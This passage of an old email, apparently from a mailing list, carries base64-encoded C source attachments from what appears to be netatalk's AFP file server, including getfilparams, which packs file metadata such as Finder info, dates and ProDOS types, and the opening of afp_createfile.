aW9uIGluIHN0cnVjdCB2b2wuDQogICAgICogICBpZiB0aGUgbmV4dCBjYXRz
ZWFyY2ggcmVxdWVzdCBmb3IgdGhhdCB2b2x1bWUgaXNuJ3QgYXQNCiAgICAg
KiAgIGF0IHRoZSBjdXJyZW50IHBvc2l0aW9uLCBiYWlsIGFuZCByZXR1cm4g
Y2F0Y2hhbmdlZC4NCiAgICAgKi8NCg0KICAgIC8qIGVvZiB3aGVuIGRvbmUg
Ki8NCiAgICByZXR1cm4gQUZQRVJSX0VPRjsNCn0NCg==
--0-1177842459-1008950548=:62951
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="file.c"
Content-Transfer-Encoding: BASE64
Content-ID: <20011221110228.I62951@shumai.marcuscom.com>
Content-Description: 
Content-Disposition: attachment; filename="file.c"

LyoNCiAqICRJZDogZmlsZS5jLHYgMS4yOS4yLjEgMjAwMS8xMi8wMyAwNTow
MTowNCBqbWFyY3VzIEV4cCAkDQogKg0KICogQ29weXJpZ2h0IChjKSAxOTkw
LDE5OTMgUmVnZW50cyBvZiBUaGUgVW5pdmVyc2l0eSBvZiBNaWNoaWdhbi4N
CiAqIEFsbCBSaWdodHMgUmVzZXJ2ZWQuICBTZWUgQ09QWVJJR0hULg0KICov
DQoNCiNpZmRlZiBIQVZFX0NPTkZJR19IDQojaW5jbHVkZSAiY29uZmlnLmgi
DQojZW5kaWYgLyogSEFWRV9DT05GSUdfSCAqLw0KDQojaW5jbHVkZSA8c3Rk
aW8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpZmRlZiBIQVZFX1VOSVNU
RF9IDQojaW5jbHVkZSA8dW5pc3RkLmg+DQojZW5kaWYgLyogSEFWRV9VTklT
VERfSCAqLw0KDQovKiBTVERDIGNoZWNrICovDQojaWYgU1REQ19IRUFERVJT
DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojZWxzZSAvKiBTVERDX0hFQURFUlMg
Ki8NCiNpZm5kZWYgSEFWRV9TVFJDSFINCiNkZWZpbmUgc3RyY2hyIGluZGV4
DQojZGVmaW5lIHN0cnJjaHIgaW5kZXgNCiNlbmRpZiAvKiBIQVZFX1NUUkNI
UiAqLw0KY2hhciAqc3RyY2hyICgpLCAqc3RycmNociAoKTsNCiNpZm5kZWYg
SEFWRV9NRU1DUFkNCiNkZWZpbmUgbWVtY3B5KGQscyxuKSBiY29weSAoKHMp
LCAoZCksIChuKSkNCiNkZWZpbmUgbWVtbW92ZShkLHMsbikgYmNvcHkgKChz
KSwgKGQpLCAobikpDQojZW5kaWYgLyogISBIQVZFX01FTUNQWSAqLw0KI2Vu
ZGlmIC8qIFNURENfSEVBREVSUyAqLw0KDQojaW5jbHVkZSA8dXRpbWUuaD4N
CiNpZmRlZiBIQVZFX0ZDTlRMX0gNCiNpbmNsdWRlIDxmY250bC5oPg0KI2Vu
ZGlmIC8qIEhBVkVfRkNOVExfSCAqLw0KI2luY2x1ZGUgPGRpcmVudC5oPg0K
I2luY2x1ZGUgPHN5cy9tbWFuLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCg0K
I2luY2x1ZGUgPHN5cy9zeXNsb2cuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMu
aD4NCiNpbmNsdWRlIDxzeXMvdGltZS5oPg0KI2luY2x1ZGUgPHN5cy9wYXJh
bS5oPg0KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+DQoNCiNpbmNsdWRlIDxuZXRh
dGFsay9lbmRpYW4uaD4NCiNpbmNsdWRlIDxhdGFsay9hZG91YmxlLmg+DQoj
aW5jbHVkZSA8YXRhbGsvYWZwLmg+DQojaW5jbHVkZSA8YXRhbGsvdXRpbC5o
Pg0KI2lmZGVmIENOSURfREINCiNpbmNsdWRlIDxhdGFsay9jbmlkLmg+DQoj
ZW5kaWYgLyogQ05JRF9EQiAqLw0KI2luY2x1ZGUgImRpcmVjdG9yeS5oIg0K
I2luY2x1ZGUgImRlc2t0b3AuaCINCiNpbmNsdWRlICJ2b2x1bWUuaCINCiNp
bmNsdWRlICJmb3JrLmgiDQojaW5jbHVkZSAiZmlsZS5oIg0KI2luY2x1ZGUg
ImZpbGVkaXIuaCINCiNpbmNsdWRlICJnbG9iYWxzLmgiDQoNCi8qIGNoZWNr
IGZvciBtdGFiIERJRCBjb2RlICovDQojaWZkZWYgRElEX01UQUINCiNpbmNs
dWRlICJwYXJzZV9tdGFiLmgiDQojZW5kaWYgLyogRElEX01UQUIgKi8NCg0K
I2lmZGVmIEZPUkNFX1VJREdJRA0KI3dhcm5pbmcgVUlER0lEDQojaW5jbHVk
ZSAidWlkLmgiDQojZW5kaWYgLyogRk9SQ0VfVUlER0lEICovDQoNCi8qIHRo
ZSBmb3JtYXQgZm9yIHRoZSBmaW5kZXJpbmZvIGZpZWxkcyAoZnJvbSBJTTog
VG9vbGJveCBFc3NlbnRpYWxzKToNCiAqIGZpZWxkICAgICAgICAgYnl0ZXMg
ICAgICAgIHN1YmZpZWxkICAgIGJ5dGVzDQogKiANCiAqIGZpbGVzOg0KICog
aW9GbEZuZHJJbmZvICAxNiAgICAgIC0+ICAgICAgIHR5cGUgICAgNCAgdHlw
ZSBmaWVsZA0KICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNyZWF0
b3IgICAgNCAgY3JlYXRvciBmaWVsZA0KICogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZmxhZ3MgICAgMiAgZmluZGVyIGZsYWdzOg0KICoJCQkJ
CSAgICAgYWxpYXMsIGJ1bmRsZSwgZXRjLg0KICogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgbG9jYXRpb24gICAgNCAgbG9jYXRpb24gaW4gd2luZG93
DQogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbGRlciAgICAy
ICB3aW5kb3cgdGhhdCBjb250YWlucyBmaWxlDQogKiANCiAqIGlvRmxYRm5k
ckluZm8gMTYgICAgICAtPiAgICAgaWNvbklEICAgIDIgIGljb24gaWQNCiAq
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdW51c2VkICAgIDYgIHJl
c2VydmVkIA0KICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3Jp
cHQgICAgMSAgc2NyaXB0IHN5c3RlbQ0KICogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB4ZmxhZ3MgICAgMSAgcmVzZXJ2ZWQNCiAqICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY29tbWVudElEICAgIDIgIGNvbW1lbnQgaWQN
CiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgcHV0YXdheUlEICAgIDQg
IGhvbWUgZGlyZWN0b3J5IGlkDQogKi8NCg0KY29uc3QgdV9jaGFyIHVmaW5k
ZXJpW10gPSB7DQogICAgJ1QnLCAnRScsICdYJywgJ1QnLCAnVScsICdOJywg
J0knLCAnWCcsDQogICAgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwNCiAgICAw
LCAwLCAwLCAwLCAwLCAwLCAwLCAwLA0KICAgIDAsIDAsIDAsIDAsIDAsIDAs
IDAsIDANCn07DQoNCmludCBnZXRmaWxwYXJhbXMoc3RydWN0IHZvbCAqdm9s
LA0KICAgICAgICAgICAgICAgICB1X2ludDE2X3QgYml0bWFwLA0KICAgICAg
ICAgICAgICAgICBjaGFyICpwYXRoLCBzdHJ1Y3QgZGlyICpkaXIsIHN0cnVj
dCBzdGF0ICpzdCwNCiAgICAgICAgICAgICAgICAgY2hhciAqYnVmLCBpbnQg
KmJ1ZmxlbiApDQp7DQogICAgc3RydWN0IHN0YXQJCWhzdCwgbHN0LCAqbHN0
cDsNCiAgICBzdHJ1Y3QgYWRvdWJsZQlhZCwgKmFkcDsNCiAgICBzdHJ1Y3Qg
b2ZvcmsgICAgICAgICpvZjsNCiAgICBzdHJ1Y3QgZXh0bWFwCSplbTsNCiAg
ICBjaGFyCQkqZGF0YSwgKm5hbWVvZmYgPSBOVUxMLCAqdXBhdGg7DQogICAg
aW50CQkJYml0ID0gMCwgaXNhZCA9IDE7DQogICAgdV9pbnQzMl90CQlhaW50
Ow0KICAgIHVfaW50MTZfdAkJYXNob3J0Ow0KICAgIHVfY2hhciAgICAgICAg
ICAgICAgYWNoYXIsIGZkVHlwZVs0XTsNCg0KI2lmZGVmIERFQlVHDQogICAg
c3lzbG9nKExPR19JTkZPLCAiYmVnaW4gZ2V0ZmlscGFyYW1zOiIpOw0KI2Vu
ZGlmIC8qIERFQlVHICovDQoNCiAgICB1cGF0aCA9IG10b3VwYXRoKHZvbCwg
cGF0aCk7DQogICAgaWYgKChvZiA9IG9mX2ZpbmRuYW1lKHZvbCwgY3VyZGly
LCBwYXRoKSkpIHsNCiAgICAgICAgYWRwID0gb2YtPm9mX2FkOw0KICAgIH0g
ZWxzZSB7DQogICAgICAgIG1lbXNldCgmYWQsIDAsIHNpemVvZihhZCkpOw0K
ICAgICAgICBhZHAgPSAmYWQ7DQogICAgfQ0KDQogICAgaWYgKCBhZF9vcGVu
KCB1cGF0aCwgQURGTEFHU19IRiwgT19SRE9OTFksIDAsIGFkcCkgPCAwICkg
ew0KICAgICAgICBpc2FkID0gMDsNCiAgICB9IGVsc2UgaWYgKCBmc3RhdCgg
YWRfaGZpbGVubyggYWRwICksICZoc3QgKSA8IDAgKSB7DQogICAgICAgIHN5
c2xvZyggTE9HX0VSUiwgImdldGZpbHBhcmFtcyBmc3RhdDogJXMiLCBzdHJl
cnJvcihlcnJubykgKTsNCiAgICB9DQoNCiAgICBkYXRhID0gYnVmOw0KICAg
IHdoaWxlICggYml0bWFwICE9IDAgKSB7DQogICAgICAgIHdoaWxlICgoIGJp
dG1hcCAmIDEgKSA9PSAwICkgew0KICAgICAgICAgICAgYml0bWFwID0gYml0
bWFwPj4xOw0KICAgICAgICAgICAgYml0Kys7DQogICAgICAgIH0NCg0KICAg
ICAgICBzd2l0Y2ggKCBiaXQgKSB7DQogICAgICAgIGNhc2UgRklMUEJJVF9B
VFRSIDoNCiAgICAgICAgICAgIGlmICggaXNhZCApIHsNCiAgICAgICAgICAg
ICAgICBhZF9nZXRhdHRyKGFkcCwgJmFzaG9ydCk7DQogICAgICAgICAgICB9
IGVsc2UgaWYgKCp1cGF0aCA9PSAnLicpIHsNCiAgICAgICAgICAgICAgICBh
c2hvcnQgPSBodG9ucyhBVFRSQklUX0lOVklTSUJMRSk7DQogICAgICAgICAg
ICB9IGVsc2UNCiAgICAgICAgICAgICAgICBhc2hvcnQgPSAwOw0KICAgICAg
ICAgICAgbWVtY3B5KGRhdGEsICZhc2hvcnQsIHNpemVvZiggYXNob3J0ICkp
Ow0KICAgICAgICAgICAgZGF0YSArPSBzaXplb2YoIHVfc2hvcnQgKTsNCiAg
ICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgIGNhc2UgRklMUEJJVF9QRElE
IDoNCiAgICAgICAgICAgIG1lbWNweShkYXRhLCAmZGlyLT5kX2RpZCwgc2l6
ZW9mKCB1X2ludDMyX3QgKSk7DQogICAgICAgICAgICBkYXRhICs9IHNpemVv
ZiggdV9pbnQzMl90ICk7DQogICAgICAgICAgICBicmVhazsNCg0KICAgICAg
ICBjYXNlIEZJTFBCSVRfQ0RBVEUgOg0KICAgICAgICAgICAgaWYgKCFpc2Fk
IHx8IChhZF9nZXRkYXRlKGFkcCwgQURfREFURV9DUkVBVEUsICZhaW50KSA8
IDApKQ0KICAgICAgICAgICAgICAgIGFpbnQgPSBBRF9EQVRFX0ZST01fVU5J
WChzdC0+c3RfbXRpbWUpOw0KICAgICAgICAgICAgbWVtY3B5KGRhdGEsICZh
aW50LCBzaXplb2YoIGFpbnQgKSk7DQogICAgICAgICAgICBkYXRhICs9IHNp
emVvZiggYWludCApOw0KICAgICAgICAgICAgYnJlYWs7DQoNCiAgICAgICAg
Y2FzZSBGSUxQQklUX01EQVRFIDoNCiAgICAgICAgICAgIGlmICggaXNhZCAm
JiAoYWRfZ2V0ZGF0ZShhZHAsIEFEX0RBVEVfTU9ESUZZLCAmYWludCkgPT0g
MCkpIHsNCiAgICAgICAgICAgICAgICBpZiAoKHN0LT5zdF9tdGltZSA+IEFE
X0RBVEVfVE9fVU5JWChhaW50KSkgJiYNCiAgICAgICAgICAgICAgICAgICAg
ICAgIChoc3Quc3RfbXRpbWUgPCBzdC0+c3RfbXRpbWUpKSB7DQogICAgICAg
ICAgICAgICAgICAgIGFpbnQgPSBBRF9EQVRFX0ZST01fVU5JWChzdC0+c3Rf
bXRpbWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxz
ZSB7DQogICAgICAgICAgICAgICAgYWludCA9IEFEX0RBVEVfRlJPTV9VTklY
KHN0LT5zdF9tdGltZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBt
ZW1jcHkoZGF0YSwgJmFpbnQsIHNpemVvZiggaW50ICkpOw0KICAgICAgICAg
ICAgZGF0YSArPSBzaXplb2YoIGludCApOw0KICAgICAgICAgICAgYnJlYWs7
DQoNCiAgICAgICAgY2FzZSBGSUxQQklUX0JEQVRFIDoNCiAgICAgICAgICAg
IGlmICghaXNhZCB8fCAoYWRfZ2V0ZGF0ZShhZHAsIEFEX0RBVEVfQkFDS1VQ
LCAmYWludCkgPCAwKSkNCiAgICAgICAgICAgICAgICBhaW50ID0gQURfREFU
RV9TVEFSVDsNCiAgICAgICAgICAgIG1lbWNweShkYXRhLCAmYWludCwgc2l6
ZW9mKCBpbnQgKSk7DQogICAgICAgICAgICBkYXRhICs9IHNpemVvZiggaW50
ICk7DQogICAgICAgICAgICBicmVhazsNCg0KICAgICAgICBjYXNlIEZJTFBC
SVRfRklORk8gOg0KICAgICAgICAgICAgaWYgKGlzYWQpDQogICAgICAgICAg
ICAgICAgbWVtY3B5KGRhdGEsIGFkX2VudHJ5KGFkcCwgQURFSURfRklOREVS
SSksIDMyKTsNCiAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAg
IG1lbWNweShkYXRhLCB1ZmluZGVyaSwgMzIpOw0KICAgICAgICAgICAgICAg
IGlmICgqdXBhdGggPT0gJy4nKSB7IC8qIG1ha2UgaXQgaW52aXNpYmxlICov
DQogICAgICAgICAgICAgICAgICAgIGFzaG9ydCA9IGh0b25zKEZJTkRFUklO
Rk9fSU5WSVNJQkxFKTsNCiAgICAgICAgICAgICAgICAgICAgbWVtY3B5KGRh
dGEgKyBGSU5ERVJJTkZPX0ZSRkxBR09GRiwgJmFzaG9ydCwgc2l6ZW9mKGFz
aG9ydCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0K
ICAgICAgICAgICAgaWYgKCghaXNhZCB8fCAobWVtY21wKGFkX2VudHJ5KGFk
cCwgQURFSURfRklOREVSSSksDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgdWZpbmRlcmksIDggKSA9PSAwKSkgJiYNCiAgICAgICAgICAg
ICAgICAgICAgKGVtID0gZ2V0ZXh0bWFwKCBwYXRoICkpKSB7DQogICAgICAg
ICAgICAgICAgbWVtY3B5KGRhdGEsIGVtLT5lbV90eXBlLCBzaXplb2YoIGVt
LT5lbV90eXBlICkpOw0KICAgICAgICAgICAgICAgIG1lbWNweShkYXRhICsg
NCwgZW0tPmVtX2NyZWF0b3IsIHNpemVvZihlbS0+ZW1fY3JlYXRvcikpOw0K
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZGF0YSArPSAzMjsNCiAgICAg
ICAgICAgIGJyZWFrOw0KDQogICAgICAgIGNhc2UgRklMUEJJVF9MTkFNRSA6
DQogICAgICAgICAgICBuYW1lb2ZmID0gZGF0YTsNCiAgICAgICAgICAgIGRh
dGEgKz0gc2l6ZW9mKCB1X2ludDE2X3QgKTsNCiAgICAgICAgICAgIGJyZWFr
Ow0KDQogICAgICAgIGNhc2UgRklMUEJJVF9TTkFNRSA6DQogICAgICAgICAg
ICBtZW1zZXQoZGF0YSwgMCwgc2l6ZW9mKHVfaW50MTZfdCkpOw0KICAgICAg
ICAgICAgZGF0YSArPSBzaXplb2YoIHVfaW50MTZfdCApOw0KICAgICAgICAg
ICAgYnJlYWs7DQoNCiAgICAgICAgY2FzZSBGSUxQQklUX0ZOVU0gOg0KICAg
ICAgICAgICAgYWludCA9IDA7DQojaWYgQURfVkVSU0lPTiA+IEFEX1ZFUlNJ
T04xDQogICAgICAgICAgICAvKiBsb29rIGluIEFEIHYyIGhlYWRlciAqLw0K
ICAgICAgICAgICAgaWYgKGlzYWQpDQogICAgICAgICAgICAgICAgbWVtY3B5
KCZhaW50LCBhZF9lbnRyeShhZHAsIEFERUlEX0RJRCksIHNpemVvZihhaW50
KSk7DQojZW5kaWYgLyogQURfVkVSU0lPTiA+IEFEX1ZFUlNJT04xICovDQoN
CiNpZmRlZiBDTklEX0RCDQogICAgICAgICAgICBhaW50ID0gY25pZF9hZGQo
dm9sLT52X2RiLCBzdCwgZGlyLT5kX2RpZCwgdXBhdGgsDQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgc3RybGVuKHVwYXRoKSwgYWludCk7DQojZW5k
aWYgLyogQ05JRF9EQiAqLw0KDQogICAgICAgICAgICBpZiAoYWludCA9PSAw
KSB7DQogICAgICAgICAgICAgICAgLyoNCiAgICAgICAgICAgICAgICAgKiBX
aGF0IGEgZnVja2luZyBtZXNzLiAgRmlyc3QgdGhpbmc6ICBESUQgYW5kIEZO
VU1zIGFyZQ0KICAgICAgICAgICAgICAgICAqIGluIHRoZSBzYW1lIHNwYWNl
IGZvciBwdXJwb3NlcyBvZiBlbnVtZXJhdGUgKGFuZCBzZXZlcmFsDQogICAg
ICAgICAgICAgICAgICogb3RoZXIgd2llcmQgcGxhY2VzKS4gIFdoaWxlIHdl
IGNvbnNpZGVyIHRoaXMgQXBwbGUncyBidWcsDQogICAgICAgICAgICAgICAg
ICogdGhpcyBpcyB0aGUgd29yay1hcm91bmQ6ICBJbiBvcmRlciB0byBtYWlu
dGFpbiBjb25zdGFudCBhbmQNCiAgICAgICAgICAgICAgICAgKiB1bmlxdWUg
RElEcyBhbmQgRk5VTXMsIHdlIG1vbm90b25pY2FsbHkgZ2VuZXJhdGUgdGhl
IERJRHMNCiAgICAgICAgICAgICAgICAgKiBkdXJpbmcgdGhlIHNlc3Npb24s
IGFuZCBkZXJpdmUgdGhlIEZOVU1zIGZyb20gdGhlIGZpbGVzeXN0ZW0uDQog
ICAgICAgICAgICAgICAgICogU2luY2UgdGhlIERJRHMgYXJlIHNtYWxsLCB3
ZSBpbnN1cmUgdGhhdCB0aGUgRk5VTXMgYXJlIGZhaXJseQ0KICAgICAgICAg
ICAgICAgICAqIGxhcmdlIGJ5IHNldHRpbmcgdGhpZXIgaGlnaCBiaXRzIHRv
IHRoZSBkZXZpY2UgbnVtYmVyLg0KICAgICAgICAgICAgICAgICAqDQogICAg
ICAgICAgICAgICAgICogQUZTIGFscmVhZHkgZG9lcyBzb21ldGhpbmcgdmVy
eSBzaW1pbGFyIHRvIHRoaXMgZm9yIHRoZQ0KICAgICAgICAgICAgICAgICAq
IGlub2RlIG51bWJlciwgc28gd2UgZG9uJ3QgcmVwZWF0IHRoZSBwcm9jZWR1
cmUuDQogICAgICAgICAgICAgICAgICoNCiAgICAgICAgICAgICAgICAgKiBu
ZXcgYWxnb3JpdGhtOg0KICAgICAgICAgICAgICAgICAqIGR1ZSB0byBjb21w
bGFpbnRzIG92ZXIgZGlkJ3MgYmVpbmcgbm9uLXBlcnNpc3RlbnQsDQogICAg
ICAgICAgICAgICAgICogaGVyZSdzIHRoZSBjdXJyZW50IGhhY2sgdG8gcHJv
dmlkZSBzZW1pLXBlcnNpc3RlbnQNCiAgICAgICAgICAgICAgICAgKiBkaWQn
czoNCiAgICAgICAgICAgICAgICAgKiAgICAgIDEpIHdlIHJlc2VydmUgdGhl
IGZpcnN0IGJpdCBmb3IgZmlsZSBpZHMuDQogICAgICAgICAgICAgICAgICog
ICAgICAyKSB0aGUgbmV4dCA3IGJpdHMgYXJlIGZvciB0aGUgZGV2aWNlLg0K
ICAgICAgICAgICAgICAgICAqICAgICAgMykgdGhlIHJlbWFpbmluZyAyNCBi
aXRzIGFyZSBmb3IgdGhlIGlub2RlLg0KICAgICAgICAgICAgICAgICAqDQog
ICAgICAgICAgICAgICAgICogYm90aCB0aGUgaW5vZGUgYW5kIGRldmljZSBp
bmZvcm1hdGlvbiBhcmUgYWN0dWFsbHkgaGFzaGVzDQogICAgICAgICAgICAg
ICAgICogdGhhdCBhcmUgdGhlbiB0cnVuY2F0ZWQgdG8gdGhlIHJlcXVpc2l0
ZSBiaXQgbGVuZ3RoLg0KICAgICAgICAgICAgICAgICAqDQogICAgICAgICAg
ICAgICAgICogaXQgc2hvdWxkIGJlIG9rYXkgdG8gdXNlIGxzdGF0IHRvIGRl
YWwgd2l0aCBzeW1saW5rcy4NCiAgICAgICAgICAgICAgICAgKi8NCiAgICAg
ICAgICAgICAgICBsc3RwID0gbHN0YXQodXBhdGgsICZsc3QpIDwgMCA/IHN0
IDogJmxzdDsNCiNpZmRlZiBESURfTVRBQg0KICAgICAgICAgICAgICAgIGFp
bnQgPSBodG9ubCggYWZwZF9zdF9jbmlkICggbHN0cCApICk7DQojZWxzZSAv
KiBESURfTVRBQiAqLw0KI2lmZGVmIFVTRV9MQVNURElEDQoJCQkJYWludCA9
IGh0b25sKExBU1QobHN0cCwgMSkpOw0KI2Vsc2UgLyogTEFTVF9ESUQgKi8N
CiAgICAgICAgICAgICAgICBhaW50ID0gaHRvbmwoQ05JRChsc3RwLCAxKSk7
DQojZW5kaWYgLyogVVNFX0xBU1RESUQgKi8NCiNlbmRpZiAvKiBESURfTVRB
QiAqLw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBtZW1jcHkoZGF0
YSwgJmFpbnQsIHNpemVvZiggYWludCApKTsNCiAgICAgICAgICAgIGRhdGEg
Kz0gc2l6ZW9mKCBhaW50ICk7DQogICAgICAgICAgICBicmVhazsNCg0KICAg
ICAgICBjYXNlIEZJTFBCSVRfREZMRU4gOg0KICAgICAgICAgICAgYWludCA9
IGh0b25sKCBzdC0+c3Rfc2l6ZSApOw0KICAgICAgICAgICAgbWVtY3B5KGRh
dGEsICZhaW50LCBzaXplb2YoIGFpbnQgKSk7DQogICAgICAgICAgICBkYXRh
ICs9IHNpemVvZiggYWludCApOw0KICAgICAgICAgICAgYnJlYWs7DQoNCiAg
ICAgICAgY2FzZSBGSUxQQklUX1JGTEVOIDoNCiAgICAgICAgICAgIGlmICgg
aXNhZCApIHsNCiAgICAgICAgICAgICAgICBhaW50ID0gaHRvbmwoIGFkX2dl
dGVudHJ5bGVuKCBhZHAsIEFERUlEX1JGT1JLICkpOw0KICAgICAgICAgICAg
fSBlbHNlIHsNCiAgICAgICAgICAgICAgICBhaW50ID0gMDsNCiAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgIG1lbWNweShkYXRhLCAmYWludCwgc2l6ZW9m
KCBhaW50ICkpOw0KICAgICAgICAgICAgZGF0YSArPSBzaXplb2YoIGFpbnQg
KTsNCiAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAvKiBDdXJy
ZW50IGNsaWVudCBuZWVkcyBQcm9ET1MgaW5mbyBibG9jayBmb3IgdGhpcyBm
aWxlLg0KICAgICAgICAgICAgICAgVXNlIHNpbXBsZSBoZXVyaXN0aWMgYW5k
IGxldCB0aGUgTWFjICJ0eXBlIiBzdHJpbmcgdGVsbA0KICAgICAgICAgICAg
ICAgdXMgd2hhdCB0aGUgUEQgZmlsZSBjb2RlIHNob3VsZCBiZS4gIEV2ZXJ5
dGhpbmcgZ2V0cyBhDQogICAgICAgICAgICAgICBzdWJ0eXBlIG9mIDB4MDAw
MCB1bmxlc3MgdGhlIG9yaWdpbmFsIHZhbHVlIHdhcyBoYXNoZWQNCiAgICAg
ICAgICAgICAgIHRvICJwWFlaIiB3aGVuIHdlIGNyZWF0ZWQgaXQuICBTZWUg
SUEsIFZlciAyLg0KICAgICAgICAgICAgICAgPHNoaXJzY2hAaWJtLm5ldD4g
Ki8NCiAgICAgICAgY2FzZSBGSUxQQklUX1BESU5GTyA6DQogICAgICAgICAg
ICBpZiAoIGlzYWQgKSB7DQogICAgICAgICAgICAgICAgbWVtY3B5KGZkVHlw
ZSwgYWRfZW50cnkoIGFkcCwgQURFSURfRklOREVSSSApLCA0ICk7DQoNCiAg
ICAgICAgICAgICAgICBpZiAoIG1lbWNtcCggZmRUeXBlLCAiVEVYVCIsIDQg
KSA9PSAwICkgew0KICAgICAgICAgICAgICAgICAgICBhY2hhciA9ICdceDA0
JzsNCiAgICAgICAgICAgICAgICAgICAgYXNob3J0ID0gMHgwMDAwOw0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlIGlmICggbWVt
Y21wKCBmZFR5cGUsICJQU1lTIiwgNCApID09IDAgKSB7DQogICAgICAgICAg
ICAgICAgICAgIGFjaGFyID0gJ1x4ZmYnOw0KICAgICAgICAgICAgICAgICAg
ICBhc2hvcnQgPSAweDAwMDA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgIGVsc2UgaWYgKCBtZW1jbXAoIGZkVHlwZSwgIlBTMTYiLCA0
ICkgPT0gMCApIHsNCiAgICAgICAgICAgICAgICAgICAgYWNoYXIgPSAnXHhi
Myc7DQogICAgICAgICAgICAgICAgICAgIGFzaG9ydCA9IDB4MDAwMDsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZSBpZiAoIG1l
bWNtcCggZmRUeXBlLCAiQklOQSIsIDQgKSA9PSAwICkgew0KICAgICAgICAg
ICAgICAgICAgICBhY2hhciA9ICdceDAwJzsNCiAgICAgICAgICAgICAgICAg
ICAgYXNob3J0ID0gMHgwMDAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICBlbHNlIGlmICggZmRUeXBlWzBdID09ICdwJyApIHsNCiAg
ICAgICAgICAgICAgICAgICAgYWNoYXIgPSBmZFR5cGVbMV07DQogICAgICAg
ICAgICAgICAgICAgIGFzaG9ydCA9IChmZFR5cGVbMl0gKiAyNTYpICsgZmRU
eXBlWzNdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBl
bHNlIHsNCiAgICAgICAgICAgICAgICAgICAgYWNoYXIgPSAnXHgwMCc7DQog
ICAgICAgICAgICAgICAgICAgIGFzaG9ydCA9IDB4MDAwMDsNCiAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIHsN
CiAgICAgICAgICAgICAgICBhY2hhciA9ICdceDAwJzsNCiAgICAgICAgICAg
ICAgICBhc2hvcnQgPSAweDAwMDA7DQogICAgICAgICAgICB9DQoNCiAgICAg
ICAgICAgICpkYXRhKysgPSBhY2hhcjsNCiAgICAgICAgICAgICpkYXRhKysg
PSAwOw0KICAgICAgICAgICAgbWVtY3B5KGRhdGEsICZhc2hvcnQsIHNpemVv
ZiggYXNob3J0ICkpOw0KICAgICAgICAgICAgZGF0YSArPSBzaXplb2YoIGFz
aG9ydCApOw0KICAgICAgICAgICAgbWVtc2V0KGRhdGEsIDAsIHNpemVvZigg
YXNob3J0ICkpOw0KICAgICAgICAgICAgZGF0YSArPSBzaXplb2YoIGFzaG9y
dCApOw0KICAgICAgICAgICAgYnJlYWs7DQoNCiAgICAgICAgZGVmYXVsdCA6
DQogICAgICAgICAgICBpZiAoIGlzYWQgKSB7DQogICAgICAgICAgICAgICAg
YWRfY2xvc2UoIGFkcCwgQURGTEFHU19IRiApOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgcmV0dXJuKCBBRlBFUlJfQklUTUFQICk7DQogICAgICAg
IH0NCiAgICAgICAgYml0bWFwID0gYml0bWFwPj4xOw0KICAgICAgICBiaXQr
KzsNCiAgICB9DQogICAgaWYgKCBuYW1lb2ZmICkgew0KICAgICAgICBhc2hv
cnQgPSBodG9ucyggZGF0YSAtIGJ1ZiApOw0KICAgICAgICBtZW1jcHkobmFt
ZW9mZiwgJmFzaG9ydCwgc2l6ZW9mKCBhc2hvcnQgKSk7DQogICAgICAgIGlm
ICgoYWludCA9IHN0cmxlbiggcGF0aCApKSA+IE1BQ0ZJTEVMRU4pDQogICAg
ICAgICAgICBhaW50ID0gTUFDRklMRUxFTjsNCiAgICAgICAgKmRhdGErKyA9
IGFpbnQ7DQogICAgICAgIG1lbWNweShkYXRhLCBwYXRoLCBhaW50ICk7DQog
ICAgICAgIGRhdGEgKz0gYWludDsNCiAgICB9DQogICAgaWYgKCBpc2FkICkg
ew0KICAgICAgICBhZF9jbG9zZSggYWRwLCBBREZMQUdTX0hGICk7DQogICAg
fQ0KICAgICpidWZsZW4gPSBkYXRhIC0gYnVmOw0KDQojaWZkZWYgREVCVUcN
CiAgICBzeXNsb2coTE9HX0lORk8sICJlbmQgZ2V0ZmlscGFyYW1zOiIpOw0K
I2VuZGlmIC8qIERFQlVHICovDQoNCiAgICByZXR1cm4oIEFGUF9PSyApOw0K
fQ0KDQppbnQgYWZwX2NyZWF0ZWZpbGUob2JqLCBpYnVmLCBpYnVmbGVuLCBy
YnVmLCByYnVmbGVuICkNCkFGUE9iaiAgICAgICpvYmo7DQpjaGFyCSppYnVm
LCAqcmJ1ZjsNCmludAkJaWJ1ZmxlbiwgKnJidWZsZW47DQp7DQogICAgc3Ry
dWN0IHN0YXQgICAgICAgICBzdDsNCiAgICBzdHJ1Y3QgYWRvdWJsZQlhZCwg
